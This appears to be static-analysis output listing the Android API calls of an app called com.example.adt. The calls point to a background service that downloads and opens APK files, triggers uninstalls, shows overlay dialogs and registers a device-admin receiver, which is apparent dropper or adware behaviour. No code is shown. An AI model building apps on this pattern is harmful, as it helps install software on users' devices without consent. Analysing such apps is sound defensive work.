API: android.app.AlertDialog$Builder->create at com.example.adt.CoreService.autoChangeApk:92 | Show source |
---|
API: android.app.AlertDialog->getWindow at com.example.adt.CoreService.autoChangeApk:95 | Show source |
---|
API: android.view.Window->setType at com.example.adt.CoreService.autoChangeApk:99 | Show source |
---|
API: android.app.AlertDialog->show at com.example.adt.CoreService.autoChangeApk:101 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:108 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:111 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:115 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:118 | Show source |
---|
API: com.example.adt.CoreService->showNofity at com.example.adt.CoreService.autoChangeApk:123 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService.autoChangeApk:129 | Show source |
---|
API: android.app.Service->onStart at ..:4 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.uninstallAPK:8 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService.uninstallAPK:10 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.uninstallAPK:13 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService.uninstallAPK:16 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.uninstallAPK:21 | Show source |
---|
API: java.lang.String->trim at com.example.adt.CoreService.uninstallAPK:23 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService.uninstallAPK:26 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.uninstallAPK:29 | Show source |
---|
API: android.net.Uri->parse at com.example.adt.CoreService.uninstallAPK:32 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.CoreService.uninstallAPK:38 | Show source |
---|
API: android.content.Intent->setFlags at com.example.adt.CoreService.uninstallAPK:41 | Show source |
---|
API: com.example.adt.CoreService->startActivity at com.example.adt.CoreService.uninstallAPK:45 | Show source |
---|
API: com.example.adt.CoreService->getSystemService at com.example.adt.CoreService.NetWorkStatus:5 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:9 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:11 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:15 | Show source |
---|
API: android.net.NetworkInfo->isAvailable at com.example.adt.CoreService.NetWorkStatus:18 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Thread-><init> at ..:8 | Show source |
---|
API: java.lang.Thread->start at ..:10 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.CoreService$BtnClick$1.run:5 | Show source |
---|
API: android.content.Intent->setAction at com.example.adt.CoreService$BtnClick$1.run:9 | Show source |
---|
API: com.example.adt.CoreService->sendBroadcast at com.example.adt.CoreService$BtnClick$1.run:13 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Thread->sleep at ..:3 | Show source |
---|
API: java.lang.Thread-><init> at ..:11 | Show source |
---|
API: java.lang.Thread->start at ..:13 | Show source |
---|
API: java.lang.InterruptedException->printStackTrace at ..:17 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Thread->sleep at com.example.adt.CoreService$HTRunnable.run:3 | Show source |
---|
API: com.example.adt.App->autoChangeApps at com.example.adt.CoreService$HTRunnable.run:15 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:27 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:36 | Show source |
---|
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:39 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:65 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:68 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:70 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:85 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:88 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:90 | Show source |
---|
API: com.example.adt.App->getApps at com.example.adt.CoreService$HTRunnable.run:99 | Show source |
---|
API: java.net.URLEncoder->encode at com.example.adt.CoreService$HTRunnable.run:119 | Show source |
---|
API: java.util.Calendar->getInstance at com.example.adt.CoreService$HTRunnable.run:126 | Show source |
---|
API: java.util.Calendar->getTimeInMillis at com.example.adt.CoreService$HTRunnable.run:129 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:132 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:135 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:137 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:148 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:157 | Show source |
---|
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:160 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:181 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:184 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:188 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:193 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:200 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:205 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:212 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:217 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:223 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:228 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:234 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:239 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:246 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:251 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:258 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:263 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:270 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:275 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:282 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:287 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:294 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:299 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:306 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:311 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:318 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:321 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.CoreService$HTRunnable.run:335 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.CoreService$HTRunnable.run:337 | Show source |
---|
API: java.lang.InterruptedException->printStackTrace at com.example.adt.CoreService$HTRunnable.run:341 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:354 | Show source |
---|
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:357 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:372 | Show source |
---|
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:375 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.CoreService$MyBroadcastReciver.onReceive:5 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:10 | Show source |
---|
API: android.content.Intent->getBooleanExtra at com.example.adt.CoreService$MyBroadcastReciver.onReceive:16 | Show source |
---|
API: android.content.Intent->getStringExtra at com.example.adt.CoreService$MyBroadcastReciver.onReceive:21 | Show source |
---|
API: java.lang.String->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:24 | Show source |
---|
API: java.net.URLDecoder->decode at com.example.adt.CoreService$MyBroadcastReciver.onReceive:27 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:33 | Show source |
---|
API: java.lang.String->split at com.example.adt.CoreService$MyBroadcastReciver.onReceive:39 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:71 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:74 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:78 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:81 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyBroadcastReciver.onReceive:92 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:103 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:106 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:110 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:113 | Show source |
---|
API: com.example.adt.CoreService->showNofity at com.example.adt.CoreService$MyBroadcastReciver.onReceive:118 | Show source |
---|
API: android.app.AlertDialog$Builder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:123 | Show source |
---|
API: android.app.AlertDialog$Builder->setTitle at com.example.adt.CoreService$MyBroadcastReciver.onReceive:129 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:136 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:139 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:143 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:146 | Show source |
---|
API: android.app.AlertDialog$Builder->setMessage at com.example.adt.CoreService$MyBroadcastReciver.onReceive:149 | Show source |
---|
API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.CoreService$MyBroadcastReciver.onReceive:158 | Show source |
---|
API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.CoreService$MyBroadcastReciver.onReceive:167 | Show source |
---|
API: android.app.AlertDialog$Builder->create at com.example.adt.CoreService$MyBroadcastReciver.onReceive:169 | Show source |
---|
API: android.app.AlertDialog->getWindow at com.example.adt.CoreService$MyBroadcastReciver.onReceive:172 | Show source |
---|
API: android.view.Window->setType at com.example.adt.CoreService$MyBroadcastReciver.onReceive:176 | Show source |
---|
API: android.app.AlertDialog->show at com.example.adt.CoreService$MyBroadcastReciver.onReceive:178 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyBroadcastReciver.onReceive:184 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:188 | Show source |
---|
API: com.example.adt.CoreService->uninstallAPK at com.example.adt.CoreService$MyBroadcastReciver.onReceive:196 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:200 | Show source |
---|
API: android.content.Intent->getExtras at com.example.adt.CoreService$MyBroadcastReciver.onReceive:204 | Show source |
---|
API: android.os.Bundle->getString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:211 | Show source |
---|
API: com.example.adt.CoreService->autoChangeApk at com.example.adt.CoreService$MyBroadcastReciver.onReceive:214 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:218 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:228 | Show source |
---|
API: android.content.BroadcastReceiver-><init> at ..:4 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.util.Calendar->getInstance at com.example.adt.CoreService$MyOrderRunnable.run:3 | Show source |
---|
API: java.util.Calendar->getTimeInMillis at com.example.adt.CoreService$MyOrderRunnable.run:6 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$MyOrderRunnable.run:9 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:12 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:14 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService$MyOrderRunnable.run:29 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:32 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:36 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:41 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:48 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:53 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:60 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:65 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:68 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:71 | Show source |
---|
API: java.lang.String->trim at com.example.adt.CoreService$MyOrderRunnable.run:86 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:91 | Show source |
---|
API: org.json.JSONObject-><init> at com.example.adt.CoreService$MyOrderRunnable.run:96 | Show source |
---|
API: org.json.JSONObject-><init> at com.example.adt.CoreService$MyOrderRunnable.run:99 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:103 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:111 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:113 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:116 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:119 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:123 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:130 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:135 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:142 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:149 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:155 | Show source |
---|
API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:158 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:169 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:175 | Show source |
---|
API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:178 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:189 | Show source |
---|
API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:192 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:196 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:205 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:209 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:212 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:215 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:226 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:234 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:245 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:253 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:262 | Show source |
---|
API: java.lang.String->trim at com.example.adt.CoreService$MyOrderRunnable.run:265 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:272 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:279 | Show source |
---|
API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:283 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:286 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:289 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:304 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:308 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:311 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:314 | Show source |
---|
API: org.json.JSONException->printStackTrace at com.example.adt.CoreService$MyOrderRunnable.run:318 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyRunnable.run:18 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyRunnable.run:20 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyRunnable.run:23 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService$MyRunnable.run:26 | Show source |
---|
API: java.lang.Object-><init> at ..:5 | Show source |
---|
API: java.io.File->getName at com.example.adt.DownLoad.openFile:5 | Show source |
---|
API: android.util.Log->e at com.example.adt.DownLoad.openFile:8 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.DownLoad.openFile:11 | Show source |
---|
API: android.content.Intent->addFlags at com.example.adt.DownLoad.openFile:14 | Show source |
---|
API: android.content.Intent->setAction at com.example.adt.DownLoad.openFile:18 | Show source |
---|
API: android.net.Uri->fromFile at com.example.adt.DownLoad.openFile:20 | Show source |
---|
API: android.content.Intent->setDataAndType at com.example.adt.DownLoad.openFile:25 | Show source |
---|
API: com.example.adt.CoreService->startActivity at com.example.adt.DownLoad.openFile:29 | Show source |
---|
API: java.net.URL-><init> at com.example.adt.DownLoad.downloadFile:6 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.DownLoad.downloadFile:8 | Show source |
---|
API: java.net.HttpURLConnection->setDoInput at com.example.adt.DownLoad.downloadFile:13 | Show source |
---|
API: java.net.HttpURLConnection->connect at com.example.adt.DownLoad.downloadFile:15 | Show source |
---|
API: java.net.HttpURLConnection->getResponseCode at com.example.adt.DownLoad.downloadFile:17 | Show source |
---|
API: java.net.HttpURLConnection->getInputStream at com.example.adt.DownLoad.downloadFile:22 | Show source |
---|
API: java.io.FileOutputStream-><init> at com.example.adt.DownLoad.downloadFile:26 | Show source |
---|
API: java.io.InputStream->read at com.example.adt.DownLoad.downloadFile:31 | Show source |
---|
API: java.io.FileOutputStream->flush at com.example.adt.DownLoad.downloadFile:35 | Show source |
---|
API: java.io.FileOutputStream->close at com.example.adt.DownLoad.downloadFile:37 | Show source |
---|
API: java.io.InputStream->close at com.example.adt.DownLoad.downloadFile:39 | Show source |
---|
API: java.io.FileOutputStream->write at com.example.adt.DownLoad.downloadFile:43 | Show source |
---|
API: java.util.Calendar->getInstance at com.example.adt.DownLoad.downLoadFile:4 | Show source |
---|
API: java.util.Calendar->getTimeInMillis at com.example.adt.DownLoad.downLoadFile:7 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.DownLoad.downLoadFile:10 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.DownLoad.downLoadFile:13 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:17 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.DownLoad.downLoadFile:20 | Show source |
---|
API: com.example.adt.Config->getSDPath at com.example.adt.DownLoad.downLoadFile:24 | Show source |
---|
API: java.io.File-><init> at com.example.adt.DownLoad.downLoadFile:27 | Show source |
---|
API: java.io.File->exists at com.example.adt.DownLoad.downLoadFile:29 | Show source |
---|
API: java.io.File->mkdir at com.example.adt.DownLoad.downLoadFile:33 | Show source |
---|
API: com.example.adt.Config->getSDPath at com.example.adt.DownLoad.downLoadFile:37 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.DownLoad.downLoadFile:40 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.DownLoad.downLoadFile:43 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:47 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:50 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.DownLoad.downLoadFile:53 | Show source |
---|
API: java.io.File-><init> at com.example.adt.DownLoad.downLoadFile:56 | Show source |
---|
API: java.net.URL-><init> at com.example.adt.DownLoad.downLoadFile:59 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.DownLoad.downLoadFile:61 | Show source |
---|
API: java.net.HttpURLConnection->getInputStream at com.example.adt.DownLoad.downLoadFile:65 | Show source |
---|
API: java.io.FileOutputStream-><init> at com.example.adt.DownLoad.downLoadFile:69 | Show source |
---|
API: java.net.HttpURLConnection->connect at com.example.adt.DownLoad.downLoadFile:73 | Show source |
---|
API: java.net.HttpURLConnection->getResponseCode at com.example.adt.DownLoad.downLoadFile:76 | Show source |
---|
API: android.util.Log->i at com.example.adt.DownLoad.downLoadFile:85 | Show source |
---|
API: java.net.HttpURLConnection->disconnect at com.example.adt.DownLoad.downLoadFile:87 | Show source |
---|
API: java.io.FileOutputStream->close at com.example.adt.DownLoad.downLoadFile:89 | Show source |
---|
API: java.io.InputStream->close at com.example.adt.DownLoad.downLoadFile:91 | Show source |
---|
API: java.io.InputStream->read at com.example.adt.DownLoad.downLoadFile:95 | Show source |
---|
API: java.io.FileOutputStream->write at com.example.adt.DownLoad.downLoadFile:100 | Show source |
---|
API: java.io.IOException->printStackTrace at com.example.adt.DownLoad.downLoadFile:107 | Show source |
---|
API: java.net.MalformedURLException->printStackTrace at com.example.adt.DownLoad.downLoadFile:111 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at com.example.adt.FileUtils.<init>:2 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.FileUtils.<init>:7 | Show source |
---|
API: android.os.Environment->getExternalStorageDirectory at com.example.adt.FileUtils.<init>:9 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.FileUtils.<init>:12 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.FileUtils.<init>:17 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.FileUtils.<init>:20 | Show source |
---|
API: java.lang.String->valueOf at ..:7 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:10 | Show source |
---|
API: java.lang.StringBuilder->append at ..:12 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:15 | Show source |
---|
API: java.io.File-><init> at ..:18 | Show source |
---|
API: java.io.File->exists at ..:20 | Show source |
---|
API: java.lang.String->valueOf at ..:7 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:10 | Show source |
---|
API: java.lang.StringBuilder->append at ..:12 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:15 | Show source |
---|
API: java.io.File-><init> at ..:18 | Show source |
---|
API: java.io.File->mkdir at ..:20 | Show source |
---|
API: java.lang.String->valueOf at ..:12 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:15 | Show source |
---|
API: java.lang.StringBuilder->append at ..:17 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:20 | Show source |
---|
API: java.io.File-><init> at ..:23 | Show source |
---|
API: java.io.File->createNewFile at ..:25 | Show source |
---|
API: java.lang.String->valueOf at ..:10 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:13 | Show source |
---|
API: java.lang.StringBuilder->append at ..:15 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:18 | Show source |
---|
API: java.io.FileOutputStream-><init> at ..:25 | Show source |
---|
API: java.io.InputStream->read at ..:29 | Show source |
---|
API: java.io.OutputStream->flush at ..:33 | Show source |
---|
API: java.io.OutputStream->close at ..:35 | Show source |
---|
API: java.io.OutputStream->write at ..:40 | Show source |
---|
API: java.lang.Exception->printStackTrace at ..:45 | Show source |
---|
API: java.io.OutputStream->close at ..:47 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:51 | Show source |
---|
API: java.io.OutputStream->close at ..:55 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:59 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:63 | Show source |
---|
API: java.lang.String->valueOf at ..:11 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:14 | Show source |
---|
API: java.lang.StringBuilder->append at ..:16 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:19 | Show source |
---|
API: java.io.InputStream->close at ..:26 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:31 | Show source |
---|
API: java.io.InputStream->close at ..:41 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:45 | Show source |
---|
API: java.lang.Exception->printStackTrace at ..:49 | Show source |
---|
API: java.io.InputStream->close at ..:51 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:55 | Show source |
---|
API: java.io.InputStream->close at ..:59 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:63 | Show source |
---|
API: java.io.InputStream->close at ..:66 | Show source |
---|
API: java.io.IOException->printStackTrace at ..:71 | Show source |
---|
API: java.lang.StringBuffer-><init> at com.example.adt.HttpDownloader.download:4 | Show source |
---|
API: java.net.URL-><init> at com.example.adt.HttpDownloader.download:9 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.download:14 | Show source |
---|
API: java.net.HttpURLConnection->getInputStream at com.example.adt.HttpDownloader.download:20 | Show source |
---|
API: java.io.InputStreamReader-><init> at com.example.adt.HttpDownloader.download:23 | Show source |
---|
API: java.io.BufferedReader-><init> at com.example.adt.HttpDownloader.download:25 | Show source |
---|
API: java.io.BufferedReader->readLine at com.example.adt.HttpDownloader.download:27 | Show source |
---|
API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:31 | Show source |
---|
API: java.lang.StringBuffer->toString at com.example.adt.HttpDownloader.download:34 | Show source |
---|
API: java.lang.StringBuffer->append at com.example.adt.HttpDownloader.download:38 | Show source |
---|
API: java.lang.Exception->printStackTrace at com.example.adt.HttpDownloader.download:43 | Show source |
---|
API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:45 | Show source |
---|
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:49 | Show source |
---|
API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:53 | Show source |
---|
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:57 | Show source |
---|
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:61 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.net.URL-><init> at com.example.adt.HttpDownloader.getInputStreamFromURL:6 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.getInputStreamFromURL:11 | Show source |
---|
API: java.net.HttpURLConnection->getInputStream at com.example.adt.HttpDownloader.getInputStreamFromURL:17 | Show source |
---|
API: java.net.MalformedURLException->printStackTrace at com.example.adt.HttpDownloader.getInputStreamFromURL:22 | Show source |
---|
API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.getInputStreamFromURL:26 | Show source |
---|
API: android.app.admin.DeviceAdminReceiver->onReceive at com.example.adt.LockReceiver.onReceive:4 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.LockReceiver.onReceive:10 | Show source |
---|
